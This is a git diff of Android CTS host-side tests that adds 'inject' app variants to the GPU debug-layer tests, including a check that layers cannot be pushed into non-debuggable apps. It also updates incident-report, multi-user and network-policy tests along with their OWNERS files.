private static final String DEBUG_APK = "CtsGpuToolsRootlessGpuDebugApp-DEBUG.apk";
private static final String RELEASE_APK = "CtsGpuToolsRootlessGpuDebugApp-RELEASE.apk";
+ private static final String INJECT_APK = "CtsGpuToolsRootlessGpuDebugApp-INJECT.apk";
private static final String LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-LAYERS.apk";
private static final String GLES_LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-GLES_LAYERS.apk";
private static final String GLES_LAYER_A = "glesLayerA";
@@ -271,6 +276,7 @@
public void cleanup() throws Exception {
getDevice().executeAdbCommand("shell", "am", "force-stop", DEBUG_APP);
getDevice().executeAdbCommand("shell", "am", "force-stop", RELEASE_APP);
+ getDevice().executeAdbCommand("shell", "am", "force-stop", INJECT_APP);
getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_A_LIB);
getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_B_LIB);
getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_C_LIB);
@@ -343,29 +349,23 @@
Assert.assertTrue("LayerA should be loaded before LayerB", resultA.lineNumber < resultB.lineNumber);
}
- /**
- * This test ensures that we cannot push a layer to a non-debuggable app
- * It also ensures non-debuggable apps ignore Settings and don't enumerate layers in the base directory.
- */
- @Test
- public void testReleaseLayerLoadVulkan() throws Exception {
-
- // Set up a layers to be loaded for RELEASE app
+ public void testLayerNotLoadedVulkan(final String APP_NAME) throws Exception {
+ // Set up a layers to be loaded for RELEASE or INJECT app
applySetting("enable_gpu_debug_layers", "1");
- applySetting("gpu_debug_app", RELEASE_APP);
+ applySetting("gpu_debug_app", APP_NAME);
applySetting("gpu_debug_layers", LAYER_A_NAME + ":" + LAYER_B_NAME);
// Copy a layer from our LAYERS APK to tmp
setupLayer(LAYER_A_LIB, LAYERS_APP);
- // Attempt to copy them over to our RELEASE app (this should fail)
+ // Attempt to copy them over to our RELEASE or INJECT app (this should fail)
getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", RELEASE_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
- "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
+ "run-as", APP_NAME, "--user", Integer.toString(getDevice().getCurrentUser()),
+ "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
// Kick off our RELEASE app
String appStartTime = getTime();
- getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", APP_NAME + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = LAYER_A_NAME + "loaded";
@@ -374,6 +374,24 @@
}
/**
+ * This test ensures that we cannot push a layer to a release app
+ * It also ensures non-debuggable apps ignore Settings and don't enumerate layers in the base directory.
+ */
+ @Test
+ public void testReleaseLayerLoadVulkan() throws Exception {
+ testLayerNotLoadedVulkan(RELEASE_APP);
+ }
+
+ /**
+ * This test ensures that we cannot push a layer to an injectable app
+ * It also ensures non-debuggable apps ignore Settings and don't enumerate layers in the base directory.
+ */
+ @Test
+ public void testInjectLayerLoadVulkan() throws Exception {
+ testLayerNotLoadedVulkan(INJECT_APP);
+ }
+
+ /**
* This test ensures debuggable apps do not enumerate layers in base
* directory if enable_gpu_debug_layers is not enabled.
*/
@@ -531,15 +549,12 @@
Assert.assertFalse("LayerB was loaded", resultB.found);
}
- /**
- *
- */
- @Test
- public void testDebugLayerLoadExternalVulkan() throws Exception {
+
+ public void testLayerLoadExternalVulkan(final String APP_NAME) throws Exception {
// Set up layers to be loaded
applySetting("enable_gpu_debug_layers", "1");
- applySetting("gpu_debug_app", DEBUG_APP);
+ applySetting("gpu_debug_app", APP_NAME);
applySetting("gpu_debug_layers", LAYER_C_NAME);
// Specify the external app that hosts layers
@@ -547,7 +562,7 @@
// Kick off our DEBUG app
String appStartTime = getTime();
- getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", APP_NAME + "/" + ACTIVITY);
// Check that our external layer was loaded
String searchStringC = "nullCreateInstance called in " + LAYER_C;
@@ -555,6 +570,21 @@
Assert.assertTrue("LayerC was not loaded", resultC.found);
}
+ /**
+ * This test ensures a debuggable app can load layers from an external package
+ */
+ @Test
+ public void testDebugLayerLoadExternalVulkan() throws Exception {
+ testLayerLoadExternalVulkan(DEBUG_APP);
+ }
+
+ /**
+ * This test ensures an injectLayers app can load layers from an external package
+ */
+ @Test
+ public void testInjectLayerLoadExternalVulkan() throws Exception {
+ testLayerLoadExternalVulkan(INJECT_APP);
+ }
/**
* This test pushes GLES layers to our debuggable app and ensures they are
@@ -781,15 +811,10 @@
Assert.assertFalse(GLES_LAYER_B + " was loaded", resultB.found);
}
- /**
- *
- */
- @Test
- public void testDebugLayerLoadExternalGLES() throws Exception {
-
+ public void testLayerLoadExternalGLES(final String APP_NAME) throws Exception {
// Set up layers to be loaded
applySetting("enable_gpu_debug_layers", "1");
- applySetting("gpu_debug_app", DEBUG_APP);
+ applySetting("gpu_debug_app", APP_NAME);
applySetting("gpu_debug_layers_gles", GLES_LAYER_C_LIB);
// Specify the external app that hosts layers
@@ -797,7 +822,7 @@
// Kick off our DEBUG app
String appStartTime = getTime();
- getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", APP_NAME + "/" + ACTIVITY);
// Check that our external layer was loaded
String searchStringC = "glesLayer_eglChooseConfig called in " + GLES_LAYER_C;
@@ -806,6 +831,22 @@
}
/**
+ * This test ensures that external GLES layers can be loaded by a debuggable app
+ */
+ @Test
+ public void testDebugLayerLoadExternalGLES() throws Exception {
+ testLayerLoadExternalGLES(DEBUG_APP);
+ }
+
+ /**
+ * This test ensures that external GLES layers can be loaded by an injectLayers app
+ */
+ @Test
+ public void testInjectLayerLoadExternalGLES() throws Exception {
+ testLayerLoadExternalGLES(INJECT_APP);
+ }
+
+ /**
*
*/
@Test
diff --git a/hostsidetests/incident/AndroidTest.xml b/hostsidetests/incident/AndroidTest.xml
index 65a347b..57fd89d 100644
--- a/hostsidetests/incident/AndroidTest.xml
+++ b/hostsidetests/incident/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="metrics" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
<option name="user-type" value="system" />
</target_preparer>
diff --git a/hostsidetests/incident/OWNERS b/hostsidetests/incident/OWNERS
index 2d6787a..1165b42 100644
--- a/hostsidetests/incident/OWNERS
+++ b/hostsidetests/incident/OWNERS
@@ -1,2 +1,5 @@
# Bug component: 329246
-joeo@google.com
\ No newline at end of file
+joeo@google.com
+jreck@google.com
+kwekua@google.com
+yamasani@google.com
diff --git a/hostsidetests/incident/src/com/android/server/cts/ActivityManagerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/ActivityManagerIncidentTest.java
index 342dc7f..93c3fa7 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ActivityManagerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ActivityManagerIncidentTest.java
@@ -97,7 +97,7 @@
assertTrue(activeServices.getServicesByUsersCount() > 0);
for (ServicesByUser perUserServices : activeServices.getServicesByUsersList()) {
- assertTrue(perUserServices.getServiceRecordsCount() > 0);
+ assertTrue(perUserServices.getServiceRecordsCount() >= 0);
for (ServiceRecordProto service : perUserServices.getServiceRecordsList()) {
assertFalse(service.getShortName().isEmpty());
assertFalse(service.getPackageName().isEmpty());
@@ -227,7 +227,7 @@
verifyVrControllerProto(dump.getVrController(), filterLevel);
verifyAppTimeTrackerProto(dump.getCurrentTracker(), filterLevel);
if (filterLevel == PRIVACY_AUTO) {
- assertTrue(dump.getMemWatchProcesses().getDump().getFile().isEmpty());
+ assertTrue(dump.getMemWatchProcesses().getDump().getUri().isEmpty());
}
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
index 35d1bb6..8093dc3 100644
--- a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
@@ -23,8 +23,8 @@
import com.android.server.BroadcastStatsProto;
import com.android.server.ConstantsProto;
import com.android.server.FilterStatsProto;
-import com.android.server.ForceAppStandbyTrackerProto;
-import com.android.server.ForceAppStandbyTrackerProto.RunAnyInBackgroundRestrictedPackages;
+import com.android.server.AppStateTrackerProto;
+import com.android.server.AppStateTrackerProto.RunAnyInBackgroundRestrictedPackages;
import com.android.server.IdleDispatchEntryProto;
import com.android.server.InFlightProto;
import com.android.server.WakeupEventProto;
@@ -58,19 +58,19 @@
assertTrue(0 < settings.getAllowWhileIdleLongDurationMs());
assertTrue(0 < settings.getAllowWhileIdleWhitelistDurationMs());
- // ForceAppStandbyTrackerProto
- ForceAppStandbyTrackerProto forceAppStandbyTracker = dump.getForceAppStandbyTracker();
- for (int uid : forceAppStandbyTracker.getForegroundUidsList()) {
+ // AppStateTrackerProto
+ AppStateTrackerProto appStateTracker = dump.getAppStateTracker();
+ for (int uid : appStateTracker.getForegroundUidsList()) {
// 0 is technically a valid UID.
assertTrue(0 <= uid);
}
- for (int aid : forceAppStandbyTracker.getPowerSaveWhitelistAppIdsList()) {
+ for (int aid : appStateTracker.getPowerSaveWhitelistAppIdsList()) {
assertTrue(0 <= aid);
}
- for (int aid : forceAppStandbyTracker.getTempPowerSaveWhitelistAppIdsList()) {
+ for (int aid : appStateTracker.getTempPowerSaveWhitelistAppIdsList()) {
assertTrue(0 <= aid);
}
- for (RunAnyInBackgroundRestrictedPackages r : forceAppStandbyTracker.getRunAnyInBackgroundRestrictedPackagesList()) {
+ for (RunAnyInBackgroundRestrictedPackages r : appStateTracker.getRunAnyInBackgroundRestrictedPackagesList()) {
assertTrue(0 <= r.getUid());
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java
index 9c8363c..1c2a1fe 100644
--- a/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java
@@ -69,7 +69,7 @@
for (JobSchedulerServiceDumpProto.PendingJob pj : dump.getPendingJobsList()) {
testJobStatusShortInfoProto(pj.getInfo(), filterLevel);
testJobStatusDumpProto(pj.getDump());
- assertTrue(0 <= pj.getEnqueuedDurationMs());
+ assertTrue(0 <= pj.getPendingDurationMs());
}
for (JobSchedulerServiceDumpProto.ActiveJob aj : dump.getActiveJobsList()) {
@@ -109,10 +109,6 @@
assertTrue(0 <= c.getMaxWorkRescheduleCount());
assertTrue(0 <= c.getMinLinearBackoffTimeMs());
assertTrue(0 <= c.getMinExpBackoffTimeMs());
- assertTrue(0 <= c.getStandbyHeartbeatTimeMs());
- for (int sb : c.getStandbyBeatsList()) {
- assertTrue(0 <= sb);
- }
}
private static void testDataSetProto(DataSetProto ds) throws Exception {
@@ -186,7 +182,8 @@
assertTrue(0 <= ji.getTriggerContentMaxDelayMs());
testNetworkRequestProto(ji.getRequiredNetwork());
// JobInfo.NETWORK_BYTES_UNKNOWN (= -1) is a valid value.
- assertTrue(-1 <= ji.getTotalNetworkBytes());
+ assertTrue(-1 <= ji.getTotalNetworkDownloadBytes());
+ assertTrue(-1 <= ji.getTotalNetworkUploadBytes());
assertTrue(0 <= ji.getMinLatencyMs());
assertTrue(0 <= ji.getMaxExecutionDelayMs());
JobStatusDumpProto.JobInfo.Backoff bp = ji.getBackoffPolicy();
diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS
index 9884b18..8d6b291e 100644
--- a/hostsidetests/media/OWNERS
+++ b/hostsidetests/media/OWNERS
@@ -1,4 +1,4 @@
-rachad@google.com
+# Bug component: 1344
elaurent@google.com
lajos@google.com
marcone@google.com
diff --git a/hostsidetests/multiuser/Android.bp b/hostsidetests/multiuser/Android.bp
index cc4bd81..ce653dd 100644
--- a/hostsidetests/multiuser/Android.bp
+++ b/hostsidetests/multiuser/Android.bp
@@ -21,6 +21,7 @@
"cts-tradefed",
"tradefed",
"platform-test-annotations-host",
+ "compatibility-host-util",
],
// tag this module as a cts test artifact
test_suites: [
diff --git a/hostsidetests/multiuser/AndroidTest.xml b/hostsidetests/multiuser/AndroidTest.xml
index 880aef9..8e92968 100644
--- a/hostsidetests/multiuser/AndroidTest.xml
+++ b/hostsidetests/multiuser/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsMultiUserHostTestCases.jar" />
<option name="runtime-hint" value="8m" />
diff --git a/hostsidetests/multiuser/OWNERS b/hostsidetests/multiuser/OWNERS
new file mode 100644
index 0000000..2b344eb
--- /dev/null
+++ b/hostsidetests/multiuser/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 71510
+include /tests/app/OWNERS
+
+bookatz@google.com
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index 41cbeab..fc385b1 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -17,6 +17,7 @@
import static com.android.tradefed.log.LogUtil.CLog;
+import com.android.compatibility.common.util.CddTest;
import com.android.ddmlib.Log;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -69,6 +70,7 @@
+ "command output: " + output, isErrorOutput);
}
+ @CddTest(requirement="9.5/A-1-3")
@Test
public void testCanCreateGuestUserWhenUserLimitReached() throws Exception {
if (!isAutomotiveDevice()) {
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
index 1f4ab36..d4a6ef2 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
@@ -15,6 +15,7 @@
*/
package android.host.multiuser;
+import com.android.compatibility.common.util.CddTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.concurrent.TimeUnit;
@@ -31,6 +32,7 @@
private static final long POLL_INTERVAL_MS = 100;
+ @CddTest(requirement="9.5/A-1-2")
@Test
public void testSwitchToSecondaryUserBeforeBootComplete() throws Exception {
if (!isAutomotiveDevice() || !mSupportsMultiUser) {
@@ -58,4 +60,4 @@
}
Assert.assertTrue("Must switch to secondary user before boot complete", isUserSecondary);
}
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/net/AndroidTest.xml b/hostsidetests/net/AndroidTest.xml
index dbff179..6ba6f42 100644
--- a/hostsidetests/net/AndroidTest.xml
+++ b/hostsidetests/net/AndroidTest.xml
@@ -20,8 +20,6 @@
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.cts.net.NetPolicyTestsPreparer" />
-
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="teardown-command" value="cmd power set-mode 0" />
<option name="teardown-command" value="cmd battery reset" />
@@ -31,4 +29,9 @@
<option name="jar" value="CtsHostsideNetworkTests.jar" />
<option name="runtime-hint" value="3m56s" />
</test>
+
+ <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+ <option name="directory-keys" value="/sdcard/CtsHostsideNetworkTests" />
+ <option name="collect-on-run-ended-only" value="true" />
+ </metrics_collector>
</configuration>
diff --git a/hostsidetests/net/app/Android.bp b/hostsidetests/net/app/Android.bp
index d66b71b..e988ea4 100644
--- a/hostsidetests/net/app/Android.bp
+++ b/hostsidetests/net/app/Android.bp
@@ -20,6 +20,8 @@
//sdk_version: "current",
platform_apis: true,
static_libs: [
+ "androidx.test.rules",
+ "androidx.test.ext.junit",
"compatibility-device-util-axt",
"ctstestrunner-axt",
"ub-uiautomator",
diff --git a/hostsidetests/net/app/AndroidManifest.xml b/hostsidetests/net/app/AndroidManifest.xml
index f54b5c1..3b00713 100644
--- a/hostsidetests/net/app/AndroidManifest.xml
+++ b/hostsidetests/net/app/AndroidManifest.xml
@@ -26,8 +26,9 @@
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
- <application>
+ <application android:requestLegacyExternalStorage="true" >
<uses-library android:name="android.test.runner" />
<activity android:name=".MyActivity" />
<service android:name=".MyVpnService"
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
index 55bd406..51bdf8e 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
@@ -16,20 +16,27 @@
package com.android.cts.net.hostside;
+import static com.android.cts.net.hostside.Property.APP_STANDBY_MODE;
+import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
+
+import static org.junit.Assert.assertEquals;
+
import android.os.SystemClock;
-import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
/**
* Base class for metered and non-metered tests on idle apps.
*/
+@RequiredProperties({APP_STANDBY_MODE})
abstract class AbstractAppIdleTestCase extends AbstractRestrictBackgroundNetworkTestCase {
- @Override
- protected final void setUp() throws Exception {
+ @Before
+ public final void setUp() throws Exception {
super.setUp();
- if (!isSupported()) return;
-
// Set initial state.
removePowerSaveModeWhitelist(TEST_APP2_PKG);
removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
@@ -39,41 +46,16 @@
registerBroadcastReceiver();
}
- @Override
- protected final void tearDown() throws Exception {
+ @After
+ public final void tearDown() throws Exception {
super.tearDown();
- if (!isSupported()) return;
-
- try {
- tearDownMeteredNetwork();
- } finally {
- turnBatteryOff();
- setAppIdle(false);
- }
+ turnBatteryOff();
+ setAppIdle(false);
}
- @Override
- protected boolean isSupported() throws Exception {
- boolean supported = isDozeModeEnabled();
- if (!supported) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Doze Mode");
- }
- return supported;
- }
-
- /**
- * Resets the (non) metered network state.
- *
- * <p>By default is empty - it's up to subclasses to override.
- */
- protected void tearDownMeteredNetwork() throws Exception {
- }
-
+ @Test
public void testBackgroundNetworkAccess_enabled() throws Exception {
- if (!isSupported()) return;
-
setAppIdle(true);
assertBackgroundNetworkAccess(false);
@@ -98,9 +80,8 @@
assertBackgroundNetworkAccess(false);
}
+ @Test
public void testBackgroundNetworkAccess_whitelisted() throws Exception {
- if (!isSupported()) return;
-
setAppIdle(true);
assertBackgroundNetworkAccess(false);
@@ -127,9 +108,8 @@
assertBackgroundNetworkAccess(false);
}
+ @Test
public void testBackgroundNetworkAccess_tempWhitelisted() throws Exception {
- if (!isSupported()) return;
-
setAppIdle(true);
assertBackgroundNetworkAccess(false);
@@ -140,28 +120,22 @@
assertBackgroundNetworkAccess(false);
}
+ @Test
public void testBackgroundNetworkAccess_disabled() throws Exception {
- if (!isSupported()) return;
-
assertBackgroundNetworkAccess(true);
assertsForegroundAlwaysHasNetworkAccess();
assertBackgroundNetworkAccess(true);
}
+ @RequiredProperties({BATTERY_SAVER_MODE})
+ @Test
public void testAppIdleNetworkAccess_whenCharging() throws Exception {
- if (!isBatterySaverSupported()) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Battery saver mode");
- return;
- }
- if (!isSupported()) return;
-
- // Check that app is paroled when charging
+ // Check that idle app doesn't get network when charging
setAppIdle(true);
assertBackgroundNetworkAccess(false);
turnBatteryOff();
- assertBackgroundNetworkAccess(true);
+ assertBackgroundNetworkAccess(false);
turnBatteryOn();
assertBackgroundNetworkAccess(false);
@@ -180,9 +154,8 @@
assertBackgroundNetworkAccess(true);
}
+ @Test
public void testAppIdleNetworkAccess_idleWhitelisted() throws Exception {
- if (!isSupported()) return;
-
setAppIdle(true);
assertAppIdle(true);
assertBackgroundNetworkAccess(false);
@@ -199,9 +172,8 @@
removeAppIdleWhitelist(mUid + 1);
}
+ @Test
public void testAppIdle_toast() throws Exception {
- if (!isSupported()) return;
-
setAppIdle(true);
assertAppIdle(true);
assertEquals("Shown", showToast());
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
index 931376b..04d054d 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
@@ -16,20 +16,22 @@
package com.android.cts.net.hostside;
-import android.text.TextUtils;
-import android.util.Log;
+import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
/**
* Base class for metered and non-metered Battery Saver Mode tests.
*/
+@RequiredProperties({BATTERY_SAVER_MODE})
abstract class AbstractBatterySaverModeTestCase extends AbstractRestrictBackgroundNetworkTestCase {
- @Override
- protected final void setUp() throws Exception {
+ @Before
+ public final void setUp() throws Exception {
super.setUp();
- if (!isSupported()) return;
-
// Set initial state.
removePowerSaveModeWhitelist(TEST_APP2_PKG);
removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
@@ -38,55 +40,15 @@
registerBroadcastReceiver();
}
- @Override
- protected final void tearDown() throws Exception {
+ @After
+ public final void tearDown() throws Exception {
super.tearDown();
- if (!isSupported()) return;
-
- try {
- tearDownMeteredNetwork();
- } finally {
- setBatterySaverMode(false);
- }
+ setBatterySaverMode(false);
}
- @Override
- protected boolean isSupported() throws Exception {
- String unSupported = "";
- if (!isDozeModeEnabled()) {
- unSupported += "Doze mode,";
- }
- if (!isBatterySaverSupported()) {
- unSupported += "Battery saver mode,";
- }
- if (!TextUtils.isEmpty(unSupported)) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support " + unSupported);
- return false;
- }
- return true;
- }
-
- /**
- * Sets the initial (non) metered network state.
- *
- * <p>By default is empty - it's up to subclasses to override.
- */
- protected void setUpMeteredNetwork() throws Exception {
- }
-
- /**
- * Resets the (non) metered network state.
- *
- * <p>By default is empty - it's up to subclasses to override.
- */
- protected void tearDownMeteredNetwork() throws Exception {
- }
-
+ @Test
public void testBackgroundNetworkAccess_enabled() throws Exception {
- if (!isSupported()) return;
-
setBatterySaverMode(true);
assertBackgroundNetworkAccess(false);
@@ -118,9 +80,8 @@
assertBackgroundNetworkAccess(false);
}
+ @Test
public void testBackgroundNetworkAccess_whitelisted() throws Exception {
- if (!isSupported()) return;
-
setBatterySaverMode(true);
assertBackgroundNetworkAccess(false);
@@ -140,9 +101,8 @@
assertBackgroundNetworkAccess(false);
}
+ @Test
public void testBackgroundNetworkAccess_disabled() throws Exception {
- if (!isSupported()) return;
-
assertBackgroundNetworkAccess(true);
assertsForegroundAlwaysHasNetworkAccess();
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
index f20f1d1..6f32c56 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
@@ -16,20 +16,25 @@
package com.android.cts.net.hostside;
+import static com.android.cts.net.hostside.Property.DOZE_MODE;
+import static com.android.cts.net.hostside.Property.NOT_LOW_RAM_DEVICE;
+
import android.os.SystemClock;
-import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
/**
* Base class for metered and non-metered Doze Mode tests.
*/
+@RequiredProperties({DOZE_MODE})
abstract class AbstractDozeModeTestCase extends AbstractRestrictBackgroundNetworkTestCase {
- @Override
- protected final void setUp() throws Exception {
+ @Before
+ public final void setUp() throws Exception {
super.setUp();
- if (!isSupported()) return;
-
// Set initial state.
removePowerSaveModeWhitelist(TEST_APP2_PKG);
removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
@@ -38,48 +43,15 @@
registerBroadcastReceiver();
}
- @Override
- protected final void tearDown() throws Exception {
+ @After
+ public final void tearDown() throws Exception {
super.tearDown();
- if (!isSupported()) return;
-
- try {
- tearDownMeteredNetwork();
- } finally {
- setDozeMode(false);
- }
+ setDozeMode(false);
}
- @Override
- protected boolean isSupported() throws Exception {
- boolean supported = isDozeModeEnabled();
- if (!supported) {
- Log.i(TAG, "Skipping " + getClass() + "." + getName()
- + "() because device does not support Doze Mode");
- }
- return supported;
- }
-
- /**
- * Sets the initial (non) metered network state.
- *
- * <p>By default is empty - it's up to subclasses to override.
- */
- protected void setUpMeteredNetwork() throws Exception {
- }
-
- /**
- * Resets the (non) metered network state.
- *
- * <p>By default is empty - it's up to subclasses to override.
- */
- protected void tearDownMeteredNetwork() throws Exception {
- }
-
+ @Test
public void testBackgroundNetworkAccess_enabled() throws Exception {
- if (!isSupported()) return;
-
setDozeMode(true);
assertBackgroundNetworkAccess(false);
@@ -96,9 +68,8 @@
assertBackgroundNetworkAccess(false);
}
+ @Test
public void testBackgroundNetworkAccess_whitelisted() throws Exception {
- if (!isSupported()) return;
-
setDozeMode(true);
assertBackgroundNetworkAccess(false);
@@ -118,19 +89,18 @@
assertBackgroundNetworkAccess(false);
}
+ @Test
public void testBackgroundNetworkAccess_disabled() throws Exception {
- if (!isSupported()) return;
-
assertBackgroundNetworkAccess(true);
assertsForegroundAlwaysHasNetworkAccess();
assertBackgroundNetworkAccess(true);
}
+ @RequiredProperties({NOT_LOW_RAM_DEVICE})
+ @Test
public void testBackgroundNetworkAccess_enabledButWhitelistedOnNotificationAction()
throws Exception {
- if (!isSupported() || isLowRamDevice()) return;
-
setPendingIntentWhitelistDuration(NETWORK_TIMEOUT_MS);
try {
registerNotificationListenerService();
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index 40d7e34..529b640 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -17,14 +17,22 @@
package com.android.cts.net.hostside;
import static android.net.ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED;
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_DISABLED;
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
import static android.os.BatteryManager.BATTERY_PLUGGED_AC;
import static android.os.BatteryManager.BATTERY_PLUGGED_USB;
import static android.os.BatteryManager.BATTERY_PLUGGED_WIRELESS;
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.executeShellCommand;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getConnectivityManager;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getContext;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getInstrumentation;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getWifiManager;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isDozeModeSupported;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.restrictBackgroundValueToString;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.app.ActivityManager;
import android.app.Instrumentation;
@@ -34,9 +42,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
-import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
-import android.net.NetworkInfo;
import android.net.NetworkInfo.DetailedState;
import android.net.NetworkInfo.State;
import android.net.wifi.WifiManager;
@@ -44,24 +50,27 @@
import android.os.Binder;
import android.os.Bundle;
import android.os.SystemClock;
-import android.os.SystemProperties;
import android.provider.Settings;
import android.service.notification.NotificationListenerService;
-import android.test.InstrumentationTestCase;
-import android.text.TextUtils;
import android.util.Log;
